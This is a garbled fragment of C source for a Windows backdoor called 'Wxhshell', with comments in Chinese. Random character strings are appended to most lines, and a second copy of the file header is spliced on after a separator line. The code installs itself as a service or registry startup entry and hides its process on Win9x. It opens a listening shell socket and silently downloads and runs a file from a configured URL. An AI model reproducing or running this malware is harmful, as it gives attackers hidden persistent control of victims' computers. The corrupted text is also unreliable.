DWORD PebBaseAddress; n&A'C\
DWORD AffinityMask; ^T~gEv
DWORD BasePriority; CIVnCy z
ULONG UniqueProcessId; -l}IZY
ULONG InheritedFromUniqueProcessId; [=%TnT+^9
} PROCESS_BASIC_INFORMATION; _20#2i&
i_][PTH
PROCNTQSIP NtQueryInformationProcess; w{k)XY40sW
dJ?XPo"Cm=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
y<C<_2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /.M+fr S
<W]g2>9o9
HANDLE hProcess; ];%0qb
PROCESS_BASIC_INFORMATION pbi; KsrjdJx, '
^*~;k|;&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n4lutnF
if(NULL == hInst ) return 0; . @Ut?G
pWu LfX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 34!dYr%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RI2f`p8k
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Peni1_
kM`l
if (!NtQueryInformationProcess) return 0; Z/rTVAs@r
#yI.nzA*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PR|R`.QSs
if(!hProcess) return 0; ,#W
5<L_|d)0"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |y20Hi':
m5G \}8|
CloseHandle(hProcess); %zU`XVNN+
=uDgzdDyE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <}6{{&mT4
if(hProcess==NULL) return 0; Jgu94.;5
-CH`>
HMODULE hMod; n41@iK2l
char procName[255]; wW?,;B'74
unsigned long cbNeeded; XBQ\_2>
#"fJa:IYG7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ob_I]~^I?|
fIF<g@s
CloseHandle(hProcess); r}yG0c,
f.GETw
if(strstr(procName,"services")) return 1; // 以服务启动 a{Esw`
;IK[Y{W/
return 0; // 注册表启动 ;V<iL?
} y$81Zq
,&U4a1%i#c
// 主模块 $(Ugtimdv
int StartWxhshell(LPSTR lpCmdLine) 7kKy\W
{ L}#0I+Ml7
SOCKET wsl; )rLMIk
BOOL val=TRUE; u9=SpgB#
int port=0; f`>/
H!<2
struct sockaddr_in door; "!K'A7.^
|+ge8uu?C
if(wscfg.ws_autoins) Install(); <\zCpkZ'B
D}3XFuZs_
port=atoi(lpCmdLine); 6a}"6d/sTL
midsnG+jnf
if(port<=0) port=wscfg.ws_port; TO,rxf
`IINq{Zk
WSADATA data; FI8Oz,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fQ+VT|jzx
[~D|peM3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :`)~-`_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *=Z26
door.sin_family = AF_INET;
QH]M
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hl&-\ dc+
door.sin_port = htons(port); g/=K.
t0:AScZY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 1W5.!
closesocket(wsl); Fyyg`J
return 1; {5*|C-WWtG
} XS~- vF
C}IbxKl
if(listen(wsl,2) == INVALID_SOCKET) { 0i[zup
closesocket(wsl); \bCX=E-
return 1; 8
6QE/M
} Kt>X[o3m,
Wxhshell(wsl); @&1Wyp
WSACleanup(); 9@$,oM=
N^VD=<#T
return 0; 52zGJ I*
zm9TvoC%}
} CBf7]n0H
+5v}q.:+
// 以NT服务方式启动 #$vRJ#S}U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &@"]+33
{ ?B.~AUN
DWORD status = 0; G)>W'yxQ
DWORD specificError = 0xfffffff; }2)DPP:ic
5sde
serviceStatus.dwServiceType = SERVICE_WIN32; KRsAv^']
serviceStatus.dwCurrentState = SERVICE_START_PENDING; iNCX:Y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *0Gz)'
serviceStatus.dwWin32ExitCode = 0; 0h$GI"dR
serviceStatus.dwServiceSpecificExitCode = 0; )_zlrX
serviceStatus.dwCheckPoint = 0; ^C&+
~+
serviceStatus.dwWaitHint = 0; z41_oG7
4"\yf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =j0x.fSe
if (hServiceStatusHandle==0) return; q&'Lbxc>c
/.5;in
status = GetLastError(); k6IG+:s
if (status!=NO_ERROR) E&
36H
{ A CNfS9M_w
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2=PBxDs;
serviceStatus.dwCheckPoint = 0; ghk5rl$
serviceStatus.dwWaitHint = 0; NCA{H^CL
serviceStatus.dwWin32ExitCode = status; @D`zKYwX1
serviceStatus.dwServiceSpecificExitCode = specificError; i`%.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N$?cX(|7
return; !Q-wdzsp?
} V9x8R
$mco0%$
serviceStatus.dwCurrentState = SERVICE_RUNNING; zvv:dC/p<
serviceStatus.dwCheckPoint = 0; )He#K+[}^4
serviceStatus.dwWaitHint = 0; fm1X1T .
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %R0v5=2'
} qUhRu>
.
,NB( s`
// 处理NT服务事件,比如:启动、停止 +-068k(
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;~HNpu$
{ 1H:ea7YVU
switch(fdwControl) 'Tb0-1S?
{ c-XLI
case SERVICE_CONTROL_STOP: FYPz 4K
serviceStatus.dwWin32ExitCode = 0; E(+T*
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4YbC(f
serviceStatus.dwCheckPoint = 0; e/e0d<(1
serviceStatus.dwWaitHint = 0; dhRJg"vrQ
{ 7INk_2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >3;^l/2c
} ](r
^.k,R
return; 2xmk,&s
case SERVICE_CONTROL_PAUSE: HOYq?40.R
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]>:^d%n,}
break; "2n;3ByR
case SERVICE_CONTROL_CONTINUE: j~ym<-[{a
serviceStatus.dwCurrentState = SERVICE_RUNNING; '\p;y7N
break; SqB/4P
case SERVICE_CONTROL_INTERROGATE: m>Ux`Gp+
break; UFZ"C,
}; 24@^{
}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F 1|zXg)
} Ph7pd
KS!yT_O
// 标准应用程序主函数 _[E \=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xi {|
{ }F{=#Kqn^
&>}.RX]t
// 获取操作系统版本 +!&$SNLh(
OsIsNt=GetOsVer(); :B#EqeI
GetModuleFileName(NULL,ExeFile,MAX_PATH); y~#\#w{
ZW ye>]
// 从命令行安装 t/:w1rw
if(strpbrk(lpCmdLine,"iI")) Install(); O4+F^+qN
Rlg#z4m
// 下载执行文件 P!+v:'P5f
if(wscfg.ws_downexe) { okBE|g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gn5% F5W
WinExec(wscfg.ws_filenam,SW_HIDE); oW'POAr
} |1V2tx
X7cWgo66T
if(!OsIsNt) { *8!w&ME+.
// 如果时win9x,隐藏进程并且设置为注册表启动 A|vP$zy
HideProc(); Gj6. Iv
StartWxhshell(lpCmdLine); 2:J,2=%
} KVijs1q
else S!j^|!
if(StartFromService()) wkT;a&_
// 以服务方式启动 J9@}DB
StartServiceCtrlDispatcher(DispatchTable); N^$9;CKP=
else !P|5#.eC
// 普通方式启动 IhW7^(p\
StartWxhshell(lpCmdLine); L~MpY{!3
Qyj(L[K J
return 0; .w'vD/q;
} R`He^
&tBA^igXK
R<&FhT]
$Xt;A&l2?
=========================================== A^pW]r=Xtk
u( 9X
UD*+"~
]V<"(?,K
x YT}>#[
3_J>y
" +Jw{qQR/*
i| xt f
#include <stdio.h> aF])"9
#include <string.h> 6GOg_P
#include <windows.h> $r"A@69^RS
#include <winsock2.h> wW()Zy0)
#include <winsvc.h> xKW"X
#include <urlmon.h> "-U3=+
~L){O*Z
#pragma comment (lib, "Ws2_32.lib") TSXTc'
#pragma comment (lib, "urlmon.lib") .}p|`3$P
Ygx,t|?7
#define MAX_USER 100 // 最大客户端连接数 4$i} Xk#3
#define BUF_SOCK 200 // sock buffer 6F ;Or
#define KEY_BUFF 255 // 输入 buffer ,I39&;Iq
N *1
#define REBOOT 0 // 重启 *tG11gR,&